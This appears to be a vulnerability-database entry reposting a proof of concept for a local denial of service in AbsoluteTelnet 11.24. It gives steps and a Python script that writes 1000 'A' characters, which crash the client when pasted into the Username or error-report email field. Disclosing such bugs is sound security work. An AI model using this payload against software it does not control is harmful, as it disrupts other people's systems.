发布 2021-11-11 漏洞条目

AbsoluteTelnet 11.24 – ‘Username’ Denial of Service (PoC)

Exploit Source

# Exploit Title: AbsoluteTelnet 11.24 - 'Username' Denial of Service (PoC)

# Discovered by: Yehia Elghaly

# Discovered Date: 2021-11-10

# Vendor Homepage: https://www.celestialsoftware.net/

# Software Link: https://www.celestialsoftware.net/telnet/AbsoluteTelnet32.11.24.exe

# Tested Version: 11.24

# Vulnerability Type: Denial of Service (DoS) Local

# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: AbsoluteTelnet 11.24 - 'SHA1/SHA2/Username' and 'Error Report' Denial of Service (PoC)

# Steps to reproduce:

# 1. - Download and install AbsoluteTelnet

# 2. - Run the python script and it will create exploit.txt file.

# 3. - Open AbsoluteTelnet 11.24

# 4. - "new connection file -> Connection -> SSH1 & SSH2"

# 5. - Paste the characters of txt file to "Authentication -> Username"

# 6. - press "ok" button

# 7. - Crashed

# 8. - Reopen AbsoluteTelnet 11.24

# 9. - Copy the same characters to "Your Email Address (optional)"

# 10.- Click "Send Error Report" button

# 11.- Crashed

#!/usr/bin/python

exploit = 'A' * 1000

try:

file = open("exploit.txt","w")

file.write(exploit)

file.close()

print("POC is created")

except:

print("POC not created")

相关漏洞条目